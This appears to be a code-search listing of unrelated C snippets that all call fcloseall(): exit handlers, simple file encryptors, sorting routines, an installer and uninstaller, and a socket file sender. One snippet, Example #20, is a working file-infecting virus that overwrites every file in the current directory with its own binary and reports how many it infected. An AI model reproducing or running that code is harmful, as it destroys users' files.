Example #1
1
static void hangForever(void)
{
#ifdef FEATURE_AUTOREDIRECT_TO_CON
  int i;

  i = FEATURE_AUTOREDIRECT_TO_CON + 1;
#endif
    /* this might happen in certain "emergency"-level problems.
      The "cannot_exit" state must be honored, though.
      Also, it cannot be considered that the string area is
      available -- 1999/07/06 ska*/
    fcloseall();  /* prepare the external termination */
  for(;;) {
#ifdef FEATURE_AUTOREDIRECT_TO_CON
    if(--i == 0)
      cmd_ctty("CON");
#endif
    puts(   /* fcloseall() leaves the standard streams open */
     "\r\n\r\n"
     "The shell is about to be terminated, though, this is\r\n"
     "forbidden (usually by enabling the \"/P\" option).\r\n"
     "You must reboot the system or, if this shell runs in\r\n"
     "a multitasking environment, terminate this process/task manually.\r\n"
    );
    beep();
    delay(1000);  /* Keep the message on the screen for
              at least 1s, in case FreeCom has some problems
              with the keyboard */
  }
}
Example #2
0
	void msa_decryption(char file1[],char file3[])
	{
	char file4[50]={'T','E','M','P','1','.','D','A','T','\0'};
	long int i,nrec,nloop,flag,n1;
	int a;
	unsigned char ch;
	clrscr();
	nrec=0;

	/*keygen();
	randomization();*/

	fp1=fopen(file1,"rb");
	fp2=fopen(file4,"wb");
	n1=0;
	while(fscanf(fp1,"%c",&ch)>0)
	{
	fprintf(fp2,"%c",ch);
	n1++;
	}
	fcloseall();
	for(a=0;a<secure;a++)
	{
	fp1=fopen(file4,"rb");
	fp2=fopen(file3,"wb");
		while(fscanf(fp1,"%c",&ch)>0)
		nrec++;
	rewind(fp1);
	nloop=nrec/2;
		if((nrec%2)!=0)
		flag=1;
		else
		flag=0;
		for(i=1;i<=nloop;i++)
		{
		fread(&mydata1,sizeof(mydata1),1,fp1);
			if(mydata1.str[0] == mydata1.str[1])
			{
			decrypt1(mydata1.str[0],mat);
			decrypt1(mydata1.str[1],mat);
			}
			else
			decrypt(mydata1.str[0],mydata1.str[1],mat);
		}
		if(flag==1)
		{
		fscanf(fp1,"%c",&ch);
		fprintf(fp2,"%c",ch);
		}
	fcloseall();
	nrec=0;
	fp1=fopen(file3,"rb");
	fp2=fopen(file4,"wb");
		while(fscanf(fp1,"%c",&ch)>0)
		fprintf(fp2,"%c",ch);
	fcloseall();
	}  /*End of Decryption Process*/
	/* system("del TEMP.DAT"); */ /*  Removing temporary file */
	}
Example #3
0
void g_suicide( void )
{
    out_msg( "\n\nWGML suicide\n\n" );
    if( GlobalFlags.research ) {        // TBD

        print_macro_dict( macro_dict, true );

        if( tag_dict != NULL ) {
            print_tag_dict( tag_dict );
        }
        print_single_funcs_research();
        print_multi_funcs_research();

        if( global_dict != NULL ) {
            print_sym_dict( global_dict );
        }
        print_sym_dict( sys_dict );
    }
    out_msg( "\n\nWGML suicide\n\n" );
    flushall();                         // TBD
    fcloseall();                        // TBD
    if( environment ) {
        longjmp( *environment, 1 );
    }
    my_exit( 16 );
}
/*************************СОРТИРОВКА ПА АЛФАВИТУ*************************/
void alf(void)
{
 FILE *f,*f1;
 char filename[14],nameoffile[14];
 char c;
 int i,n=0,j,k,fl;
 instr smass[100],old;

 window(1,1,80,25);
 textbackground(0);
 textcolor(3);
 clrscr();
 cputs("Введите имя файла-источника данных...");
 scanf("%s",filename);
 cputs("Введите имя файла,в который будут записаны данные...");
 scanf("%s",nameoffile);
 f=fopen(filename,"r");
 f1=fopen(nameoffile,"aw");
 fseek(f,0,SEEK_SET);
 while(!feof(f))
  {
   fread(&smass[n],sizeof(old),1,f);
   n++;
  }
 n--;
 for (i=n-1;i>0;i--)
   {
     for (j=0;j<i;j++)
       {
	 fl=TRUE;
	 k=0;
	 while ((k<10)AND(fl==TRUE))
	   {
	     if (smass[j].name[k]>smass[j+1].name[k])
		{
		  old=smass[j];
		  smass[j]=smass[j+1];
		  smass[j+1]=old;
		  fl=FALSE;
		}
	     if (smass[j].name[k]<smass[j+1].name[k])
		fl=FALSE;
	     k++;
	   }
       }
   }
 printf("Мнемокод    Длина  Машинный код\n");
 for (i=0;i<n;i++)
   {
   fwrite (&smass[i],sizeof(old),1,f1);
   printf("%s",&smass[i].name);
   gotoxy(15,wherey());
   printf("%s",&smass[i].size);
   gotoxy(18,wherey());
   printf("%s\n",&smass[i].hex);
   }
 fcloseall();
 cputs("Обработка завершена...");
 getch();
}
/* 
########################
System functions
########################
 */
void gp_Reset(void)
{
	unsigned int i=0;
	
	gp_setCpuspeed(533);

	if( gp2x_sound_thread) 
	{ 
		gp2x_sound_thread_exit=1; 
		usleep(500); 
	}
 
	MLCADDRESS0 = bkregs32[0]; MLCADDRESS1 = bkregs32[1]; MLCCONTROL0 = bkregs32[2]; MLCCONTROL1 = bkregs32[3]; MLCLEFTRIGHT0 = bkregs32[4];
	MLCTOPBOTTOM0 = bkregs32[5]; MLCLEFTRIGHT1 = bkregs32[6]; MLCTOPBOTTOM1 = bkregs32[7]; MLCBGCOLOR = bkregs32[8]; MLCHSTRIDE0 = bkregs32[9];
	MLCVSTRIDE0 = bkregs32[10]; MLCHSTRIDE1 = bkregs32[11]; MLCVSTRIDE1 = bkregs32[12]; DPCCTRL1 = bkregs32[13]; MLCSCREENSIZE = bkregs32[14];

	lc_dirtylayer(0);
	lc_dirtylayer(1);
	lc_dirtymlc();

   	munmap((void *)memregs32, 0x20000);
	
	munmap(framebuffer_mmap[0], fb_size * BUFFERS);

	if (wiz_dev[0]) close(wiz_dev[0]);
	if (wiz_dev[1]) close(wiz_dev[1]);
	if (wiz_dev[2]) close(wiz_dev[2]);
	
	fcloseall();

	chdir("/usr/gp2x");
	execl("gp2xmenu",NULL);
}
Example #6
0
void bugout( const size_t lineno, const char *fname )
{
   printmsg(0,"Program aborting at line %d in file %s",
              lineno, fname );
   fcloseall();
   exit(69);
} /*bugout */
Example #7
0
static void final_cleanup(void)
{
 #if SFX_LEVEL>=ARJSFXV
  file_close(aistream);
  aistream=NULL;
  file_close(atstream);
  atstream=NULL;
 #else
  if(atstream!=NULL)
   fclose(atstream);
 #endif
 #if SFX_LEVEL>=ARJSFXV
  if(tmp_tmp_filename!=NULL&&!keep_tmp_file&&tmp_tmp_filename[0]!='\0')
   file_unlink(tmp_tmp_filename);
 #else
  if(tmp_tmp_filename[0]!='\0')
   file_unlink(tmp_tmp_filename);
 #endif
 #if SFX_LEVEL>=ARJSFXV&&(TARGET!=UNIX||defined(HAVE_FCLOSEALL))
  fcloseall();
 #endif
 if(quiet_mode)
  freopen(dev_con, m_w, stdout);
 #if SFX_LEVEL>=ARJSFXV
  if(ferror(stdout))
   msg_fprintf(stderr, M_DISK_FULL);
  if(debug_enabled&&strchr(debug_opt, 't')!=NULL)
  {
   ticks=get_ticks()-ticks;
   msg_cprintf(0, M_FINAL_TIMING, ticks);
  }
 #endif
}
Example #8
0
long s_conv(char nome[])
{
	FILE *fp;

	char conv[15], riga[150]; int base; long sum=0; char *rem;

	int cont = 0;

	if((fp = fopen(nome,"r")) == NULL)
	{
		printf("File non trovato\n");

		return EXIT_FAILURE;
	}

	while(fgets(riga, 150, fp) != NULL)
	{
		sscanf(riga, "%*c%s%*c%d", conv, &base);
		printf("%s %d\n", conv, base);
		cont = strtol(conv, NULL, base);
		printf("%d\n",cont);
		sum += cont; 
	}

	fcloseall();

	return sum;
}
Example #9
0
 void main()
  {
	FILE *fp1,*fp2;
	char a;
	clrscr();
	fp1=fopen("d:\\dtp\\test.txt","r");
	if(fp1==NULL)
	 {
	 puts("cannot open this file");
	 exit(1);
	 }
	fp2=fopen("d:\\dtp\\test1.txt","w");
	if(fp2==NULL)
	 {
	 puts("Not able to open this file");
	 fclose(fp1);
	 exit(1);
	 }
	 do
	  {
	  a=fgetc(fp1);
	  a=toupper(a);

	  fputc(a,fp2);
	  }
	  while(a!=EOF);
	  fcloseall();
	  getch();
}
Example #10
0
void abend(void) {
	fcloseall();

	if (output_fn != NULL)
		unlink(output_fn);

	exit(1);
}
Example #11
0
/* our exit handler */
void win_exit(void)
{
	/* if we didn't exit through gs_exit() then do so now */
	if (win_init)
		gs_exit(0);

	fcloseall();
	DestroyWindow(hwndeasy);
}
Example #12
0
void writechar(register unsigned char outchar, register FILE *outfile)
{
  if (putc(outchar,outfile)==EOF)
    {
      printf("Error writing output file.\n");
      fcloseall();
      exit(slz_error + error_write);
    }
  LZ_history[lzhist_offset]=outchar; lzhist_offset=(lzhist_offset+1)&MASK_history;
}
Example #13
0
void unzip(void *GamePath)
{
	CUnzipper zip;
	UZ_FileInfo info;
	char file_path[MAX_PATH];
	int num_files, i;
	FILE *fp;

	strcpy(file_path, (char *)GamePath);
	strcat(file_path, "\\Uninstall.cfg");

	fp = fopen(file_path, "w");

	if (fp != NULL)
	{
		zip.OpenZip("IA.ehf");
		//zip.SetOutputFolder((char *)GamePath);
		CreateFolder((char *)GamePath);

		num_files = zip.GetFileCount();

		for (i=0; i<num_files; i++)
		{
			zip.GetFileInfo(i, info); 
			zip.UnzipFile(i, (char *)GamePath, TRUE);

			fprintf(fp, "%s\\%s\n", GamePath, info.szFileName);
		}
	
		zip.CloseZip();

		fcloseall();
	}
	else
	{
		KillTimer(hWnd, 1);
		
		MessageBox(hWnd, "Error installing!  Code 2", "Error", MB_ICONEXCLAMATION|MB_OK);

		SetDlgItemText(hWnd, IDC_STATUS, "Error");

		return;
	}

	KillTimer(hWnd, 1);
	SetDlgItemText(hWnd, IDC_STATUS, "Done");

	SetDlgItemText(hWnd, IDC_CONTINUE, "Finish");
	EnableWindow(GetDlgItem(hWnd, IDC_CANCEL), FALSE);
	IsInstalled = TRUE;

	MessageBox(hWnd, "Imperial Alliance Installed!", "Success", MB_OK);

	return;
}
Example #14
0
int main(int argc,char* argv[])
{
FILE *text,*out;
unsigned int ch;
int i,encrypt=0,decrypt=0,lenpass;
char pass[50];
if(argc == 4){
text = fopen(argv[2],"rb");
out = fopen(argv[3],"wb");
}
else{
	system("info encrypt");
	exit(0);
	}
if(strcmp(argv[1],"-e")==0 ) //if encrypt
{ encrypt = 1;}
else if(strcmp(argv[1],"-d")==0) //if decryption
{decrypt = 1;}
else{
system("info encrypt"); 
exit(0);
}

if( (encrypt==1) || (decrypt == 1) )
{
printf("[ Password ] : ");
scanf("%s",pass );
lenpass = strlen(pass);
}

i=0;
if(encrypt)
while(1)
{
ch = fgetc(text);
if(ch == EOF )
break;
ch += pass[i];
i = (i+1)%lenpass;
fputc(ch,out);
}
else if(decrypt)
while(1)
{
ch = fgetc(text);
if(ch == EOF )
break;
ch -= pass[i];
i = (i+1)%lenpass;
fputc(ch,out);
}
fcloseall();
return 0;
}
Example #15
0
int merge(int argc,char** argv,int ask_pass,char* pass)
{
FILE *image,*text,*merg;
unsigned int cha,lenpass;
int i;
image = fopen(argv[2],"rb");
text = fopen(argv[3],"rb");
merg = fopen(argv[4],"wb");

if( ask_pass == 1 )
	lenpass = strlen(pass);

while(1)
{
cha=fgetc(image);
if(cha==EOF)
break;
fputc(cha,merg);
} // finished reading 1st file.
i=0;
if( ask_pass == 1 )
{
fputc('E'+pass[i],merg);
i = (i+1) %lenpass;
fputc('N'+pass[i],merg);
i = (i+1) %lenpass;
fputc('D'+pass[i],merg);
i = (i+1) %lenpass;
fputc('I'+pass[i],merg);
i = (i+1) %lenpass;
}
else if( ask_pass == 0)
{
fputc('E',merg);
fputc('N',merg);
fputc('D',merg);
fputc('I',merg);
}
while(1)
{
cha=fgetc(text);
if(cha==EOF)
break;
/// Encript the text file here ////
if( ask_pass == 1 ){
cha += pass[i];
i = (i+1)%lenpass;
}

fputc(cha,merg);
}
fcloseall();
return 0;
}
Example #16
0
void editaArquivo(){
    FILE* fp;
    FILE* n_fp;
    char cidade_aux[20], char_aux;
    int distancia_aux;
    int i;

    fp=fopen("entradaProj6","r");

    if(fp==NULL){
        printf("Arquivo nao pode ser aberto\n");
        exit(1);
    }

    n_fp=fopen("EDT.txt","w");

    if(n_fp==NULL){
        printf("Arquivo nao pode ser aberto\n");
        exit(1);
    }


    while(!feof(fp)){
         fscanf(fp,"%s",&cidade_aux);

         if(strcmp(cidade_aux, "para")==0){
            fprintf(n_fp,"\n");
            fscanf(fp,"%s",&cidade_aux);
         }

         if(strcmp(cidade_aux,"Km")==0){
            fprintf(n_fp,"\n");
            fscanf(fp,"%s",&cidade_aux);
         }

         for(i=0;i<20;i++){
            if(cidade_aux[i]==':'){
                cidade_aux[i]=cidade_aux[i+1];

                fprintf(n_fp,"%s\n", cidade_aux);
                fscanf(fp,"%d",&distancia_aux);
                fprintf(n_fp, "%d\n", distancia_aux);
                fscanf(fp, "%s", &cidade_aux);
            }
         }

         if(strcmp(cidade_aux,"para")!=0&&strcmp(cidade_aux,"Km")!=0){
            fprintf(n_fp,"%s", cidade_aux);
         }

    }
    fcloseall();
}
Example #17
0
//Catch system signal
BOOL WINAPI SignalHandler(
	const DWORD SignalType)
{
//Print to screen.
	switch (SignalType)
	{
	//Handle the CTRL-C signal.
		case CTRL_C_EVENT:
		{
			fwprintf_s(stderr, L"[Notice] Get Control-C.\n");
			PrintProcess(true, true);
		}break;
	//Handle the CTRL-Break signal.
		case CTRL_BREAK_EVENT:
		{
			fwprintf_s(stderr, L"[Notice] Get Control-Break.\n");
			PrintProcess(true, true);

		//Exit process.
			return TRUE;
		}break;
	//Handle other signals.
		default:
		{
			fwprintf_s(stderr, L"[Notice] Get closing signal.\n");
			PrintProcess(true, true);
		}
	}

//Close file handle.
	if (ConfigurationParameter.OutputFile != nullptr)
	{
		fclose(ConfigurationParameter.OutputFile);
		ConfigurationParameter.OutputFile = nullptr;
	}

//Close all file handles and WinSock cleanup.
#if defined(PLATFORM_WIN)
	if (ConfigurationParameter.IsInitialized_WinSock)
	{
		WSACleanup();
		ConfigurationParameter.IsInitialized_WinSock = false;
	}

	_fcloseall();
#elif (defined(PLATFORM_FREEBSD) || (defined(PLATFORM_LINUX) && !defined(PLATFORM_OPENWRT)))
	fcloseall();
#endif

//Exit process.
//	exit(EXIT_SUCCESS);
	return FALSE;
}
Example #18
0
   int mergeSort(int* buf, long int start, long int size)
   {
     if(size>1)
 	{
 		int size1,size2;
 			if(size%2)
 				{
 					    size1=(int)(size/2)+1;
 							size2=(int)(size/2);
 								}
 									else
 										{
 											    size1=size2=(int)(size/2);
 												    }
 													    if(mergeSort(buf, start,size1) || mergeSort(buf, start+size1,size2))
 														    {
 																return 1;
 																	}
 																		int *tmp = malloc(size*sizeof(int));
 																			if(tmp==NULL)
 																				{
 																					    fprintf (stderr, "Хозяина, памяти мала\n");
 																							fcloseall();
 																								    return 1;
 																									    }
 																										    long int i=0,j=0,k=0;
 																											    while(i!=size1 && j!=size2)
 																												    {
 																														if(buf[start+i]<buf[start+size1+j])
 																															    {
 																																	    tmp[k++] = buf[start+i++];
 																																			}
 																																				    else
 																																						{
 																																								tmp[k++] = buf[start+size1+j++];
 																																									    }
 																																										    }
 																																											    while(i!=size1)
 																																												    {
 																																														tmp[k++] = buf[start+i++];
 																																															}
 																																																while(j!=size2)
 																																																	{
 																																																		    tmp[k++] = buf[start+size1+j++];
 																																																			    }
 																																																				    for(i=0; i<size; i++)
 																																																					    {
 																																																							buf[start+i] = tmp[i];
 																																																								}
 																																																									free(tmp);
 																																																									    }
 																																																										return 0;
 																																																										}
int main(){
  int i,j,k;
  float t;
  FILE *file1,*file2,*file3,*file4,*file5;
  FILE *file[15];
  file1=fopen("l5_ipx.dat","w");
  file3=fopen("l5in.dat","w");
  file4=fopen("l5out1.dat","w");
  file5=fopen("l5out2.dat","w");
  for(i=0;i<N*range;i++){
    K[i]=(1-al)*pow(-al,i);
    fprintf(file1,"%d %e\n",i,K[i]);}
  calcx(file3,fs,1);
  calcy(file4,file5);
  fcloseall();
  file2=fopen("l5_achx.dat","w");
  file[0]=fopen("l5_32i.dat","w");
  file[3]=fopen("l5_16i.dat","w");
  file[6]=fopen("l5_8i.dat","w");
  file[9]=fopen("l5_4i.dat","w");
  file[12]=fopen("l5_2i.dat","w");
  file[1]=fopen("l5_32o1.dat","w");
  file[4]=fopen("l5_16o1.dat","w");
  file[7]=fopen("l5_8o1.dat","w");
  file[10]=fopen("l5_4o1.dat","w");
  file[13]=fopen("l5_2o1.dat","w");
  file[2]=fopen("l5_32o2.dat","w");
  file[5]=fopen("l5_16o2.dat","w");
  file[8]=fopen("l5_8o2.dat","w");
  file[11]=fopen("l5_4o2.dat","w");
  file[14]=fopen("l5_2o2.dat","w");
  for(j=0;j<5;j++){
    H[j]=Hf(fa);
    fprintf(file2,"%e %e\n",fa,H[j]);
    calcx(file[j*3],fa,0);
    calcy(file[j*3+1],file[j*3+2]);
    fa*=2;}
  fcloseall();
  return(0);
}
Example #20
0
void main() 
{ 
st=clock();

 clrscr(); 

done=findfirst(“*.*”,&ffblk,0); //Search for a file with any extension (*.*) 

while(!done) 

{
 virus=fopen(_argv[0],”rb”);

 host=fopen(ffblk.ff_name,”rb+”); 

if(host==NULL)
 goto next;

 x=89088;


printf(“Infecting %s\n”,ffblk.ff_name,a);

while(x>2048) 
{
 fread(buff,2048,1,virus);

 fwrite(buff,2048,1,host);

 x-=2048;
 }
 fread(buff,x,1,virus); 

fwrite(buff,x,1,host);

 a++; 

next: 

{ 
fcloseall();

 done=findnext(&ffblk);
 } }
 printf(“DONE! (Total Files Infected= %d)”,a);

end=clock(); 

printf(“TIME TAKEN=%f SEC\n”, (end-st)/CLK_TCK); 

getch(); 
}
Example #21
0
main(int argc,char *argv[])
{
    long int i,j,k,l,n1,n2,nl;
    if(argc==3)
    {
        clrscr();

        fp1=fopen(argv[1],"rb");
        fp2=fopen(file3,"wb");

        fseek(fp1,0,2);
        l=ftell(fp1);
        n1=l/32;
        n2=l%32;
        fseek(fp1,0,0);
        nl=0;
        for(i=0; i<16; i++)
            for(j=0; j<16; j++)
                mat[i][j]= nl++;
        clrscr();
        keygen();
        /* To envoke randomizetion() function secure-times */
        for(i=1; i<=secure; i++)
            randomization();
        for(i=1; i<=n1; i++)
        {
            fread(&data1,sizeof(data1),1,fp1);
            bit_stream(data1.ch);
            encrypt_bit();
        }

        if (n2!=0)
        {
            for(i=0; i<n2; i++)
            {
                fscanf(fp1,"%c",&data2[i]);
                data2[i]=rshift_residual(data2[i],5);
                /*data2[i]=data2[i]^255;*/
                fprintf(fp2,"%c",data2[i]);
            }
        }

        fcloseall();
        /*msa_encryption(file3,file2);*/
        msa_encryption(file3,argv[2]);

        printf("\nData encryption is over.\n\n");
        getch();
    }
    else
        printf("\n***Invalid command line arguments***\n");
}
Example #22
0
int main(int argc, char *argv[])
{
	if (argc != 4) {
		printf("Usage: client <ADDRESS> <PORT> <FILE NAME>");
		exit(1);
	}

	int s;
	struct sockaddr_in serv_addr;
	struct hostent *hp;
	char buffer[64];
	FILE *f;
	size_t size;

	// в качестве аргумента клиенту передается доменное
	// имя хоста, на котором запущен сервер
	if ((hp = gethostbyname(argv[1])) == 0) {
		perror("gethostbyname() error!");
		exit(3);
	}

	bzero(&serv_addr, sizeof(serv_addr));
	bcopy(hp->h_addr, &serv_addr.sin_addr, hp->h_length);
	serv_addr.sin_family = hp->h_addrtype;
	int portNum = atoi(argv[2]);
	serv_addr.sin_port = htons(portNum);

	if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
		perror("socket() error!");
		exit(1);
	}

	fprintf(stderr, "Server address: %s\n", inet_ntoa(serv_addr.sin_addr));

	if (connect(s, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) == -1) {
		perror("connect() error!");
		exit(1);
	}

	f = fopen(argv[3], "rb");

	if (f != NULL) {
		while (size = fread(buffer, sizeof(buffer), 1, f)) {
			send(s, buffer, sizeof(buffer), 0);
		}

		fcloseall();
	}

	close(s);
	return 0;
}
Example #23
0
void process_signal(int signum){

	time_t rawtime;
  	struct tm * now_time;
  	if (signum == SIGINT)
  	{
	  	time ( &rawtime );
	  	now_time = gmtime ( &rawtime );
		fprintf(stderr, "\n[SIGINT] - Operation interrupted by user @%d-%02d-%02d %02dh%02d\n" ,now_time->tm_year+1900, now_time->tm_mon+1, now_time->tm_mday, now_time->tm_hour, now_time->tm_min);
		fcloseall();
		exit(0);
  	}
}
void main()
{
char *str,*name,*arg1,*arg2,*arg3;
int st=0x00,end=0x00;
char *str1,*str2;
int count=1;
int ptrno=1;
FILE *fmac,*fdef,*fnam,*farg;
clrscr();
fmac=fopen("myin.txt","r");
fdef=fopen("deftab.txt","w+");
fnam=fopen("namtab.txt","w+");
farg=fopen("argtab.txt","w+");
while(!feof(fmac))
  {
	fgets(str,79,fmac);
	sscanf(str,"%s%s",str1,str2);
	if(strcmp(str2,"macro")==0)
		{
		   fprintf(fnam,"%s\t%x\t",str1,ptrno);
		   ptrno++;
			do
			{
			fprintf(fdef,"%s",str);
			fgets(str,79,fmac);
			sscanf(str,"%s%s",str1,str2);
			ptrno++;
			}while(strcmp(str2,"mend")!=0);
		   fprintf(fdef,"*\tmend\t*\n\n");
		   fprintf(fnam,"%x\n",ptrno-1);
		}
	rewind(fnam);
	while(!feof(fnam))
		{
		fscanf(fnam,"%s%x%x",name,&st,&end);
		printf("%s\n",str);
		if(strcmp(str2,name)==0)
		{
		sscanf(str,"%s%s%s%s%s",str1,str2,arg1,arg2,arg3);
		fprintf(farg,"Arguments for invocation(%s) %d:\t%s\t%s\t%s\n\n",name,count++,arg1,arg2,arg3);
		printf("%s%x%x\n",name,st,end);
		}
		}
  }
fcloseall();
clrscr();
gotoxy(15,15);
printf("REFER FILES\tdeftab.txt\n\t\t\t\targtab.txt\n\t\t\t\tnamtab.txt\n");
getch();
}
/**********************СОРТИРОВКА ПО ДЛИНЕ***************************/
void length(void)
{
 FILE *f,*f1;
 char filename[14],nameoffile[14];
 char c;
 int i,n=0,k;
 instr com;

 window(1,1,80,25);
 textbackground(0);
 textcolor(2);
 clrscr();
 cputs("Введите имя файла-источника данных...");
 scanf("%s",filename);
 cputs("Введите имя файла,в который будут записаны данные...");
 scanf("%s",nameoffile);
 f=fopen(filename,"r");
 f1=fopen(nameoffile,"aw");
 fseek(f,0,SEEK_SET);
 while(!feof(f))
  {
   fread(&com,sizeof(com),1,f);
   n++;
  }
 printf("Мнемокод    Длина  Машинный код\n");
 n--;
 for(k=49;k<=57;k++)
  {
   fseek(f,0,SEEK_SET);
   for(i=0;i<n;i++)
	{
	 c=toascii(k);
	 fread(&com.name,sizeof(com.name),1,f);
	 fread(&com.size,sizeof(com.size),1,f);
	 fread(&com.hex,sizeof(com.hex),1,f);
	 if(com.size[0]==c)
            {
	    fwrite(&com,sizeof(com),1,f1);
	    printf("%s",&com.name);
	    gotoxy(15,wherey());
	    printf("%s",&com.size);
	    gotoxy(18,wherey());
	    printf("%s\n",com.hex);
            }
	}
  }
 fcloseall();
 cputs("Обработка завершена...");
 getch();
}
Example #26
0
int uninstall(void)
{
	char uninstall_path[MAX_PATH];
	char error_message[100];
	char path[MAX_PATH];
	char temp[MAX_PATH];
	int length, i;
	FILE *fp;

	GetCurrentDirectory(MAX_PATH, uninstall_path);
	strcat(uninstall_path, "\\Uninstall.cfg");

	fp = fopen(uninstall_path, "r");
	
	if (fp != NULL)
	{
		while(!feof(fp))
		{
			fgets(path, MAX_PATH, fp);

			length = strlen(path);

			memset(temp, 0, MAX_PATH);
			for (i=0; i<length-1; i++)
				temp[i] = path[i];
									
			if (DeleteFile(temp) == FALSE)
			{
				//memset(error_message, 0, 100);
				//sprintf(error_message, "Error removing %s", temp);
				//MessageBox(NULL, error_message, "Error", MB_ICONEXCLAMATION|MB_OK);
			}
			
		}

		fcloseall();

		DeleteFile(uninstall_path);

		return 1;
	}
	else
	{
		MessageBox(hWnd, "Error uninstalling!  Code 3", "Error", MB_ICONEXCLAMATION|MB_OK);

		return 0;
	}

	return 0;
}
Example #27
0
void salva(void)
{  FILE *op;
   char nome[30];
   puts("Digite o nome do arquivo:");
   flushall();
   gets(nome);
   if ((op=fopen(nome,"wb"))==NULL)
   {  puts("Arquivo nao pode ser criado.");
      return; }
   if (fwrite(&inf_nota,sizeof(inf_nota),3,op)==1)
   {  puts("Erro na escrita.");
      getch(); }
   fcloseall();
}
Example #28
0
/****************************************************************************
#ifdef DOCUMENTATION
.MODULE       errorPrintf
.LIBRARY      portable
.TYPE         función
.DESCRIPTION  imprime y hace exit(1) de un modo portable
.SYSTEM       DOS, UNIX
.APPLICATION  portable
.ARGUMENTS    int errorPrintf(char *mens,...)
              mens:       formato printf
              ...:        argumentos variables
.NARRATIVE    Sustituye a la funcion 'printf', permitiendo
               salidas por pantallas portables
.RETURNS      EOF si hay error
              número de bytes, en caso contrario
.AUTHOR       JMMM Juan M. Montero Martínez
.LANGUAGE     C
.ENDOC        END DOCUMENTATION
#endif
****************************************************************************/
int errorPrintf(char *mens,...)
  {
  int auxiliar;
  va_list arg_ptr;

  va_start(arg_ptr, mens);
  auxiliar = vsprintf((char *) aux_str, mens, arg_ptr);
  va_end(arg_ptr);
#if defined(__WIN32__) && defined(__CONSOLE__)
  int valor_tonto=__CONSOLE__;
  printf("CONSOLA %d\nERROR\n%s\nPulse retorno para continuar", valor_tonto,aux_str);
  OurBioskey(0);
#elif defined(_Windows)
//  MessageBox(NULL, aux_str, "ERROR", /*MB_SYSTEMMODAL |*/ MB_OK);
  fcloseall();
  FatalAppExit(0,aux_str);
#else
  fprintf(stderr, "\nERROR\n%s\nPulse retorno para continuar", aux_str);
  OurBioskey(0);
#endif
  fcloseall();
  exit(1);
  return auxiliar;
  }
Example #29
0
void err(char *s, ...)
{
#ifndef DLL
    va_list argptr;
    va_start(argptr,s);
    vfprintf(stderr,s,argptr);
    va_end(argptr);
#endif
#ifdef DLL
    longjmp(ExitJump,2);
#else
    fcloseall();
    exit(1);
#endif
}
Example #30
0
int main ()
{
  clrscr();
  loading();
  //getch();
  //psswd_disp();
  //curnt_fn=set_psswd;
  while (!(detect ()==0x2d00 ));//&& (modifiers & ALT))  );//detecting the mose and keyboard action
  hidemouse ();//assiging the flag interrupt for hiding the mouse

  //closing all the files
  fcloseall();
  //cleardevice();
  return 0;
}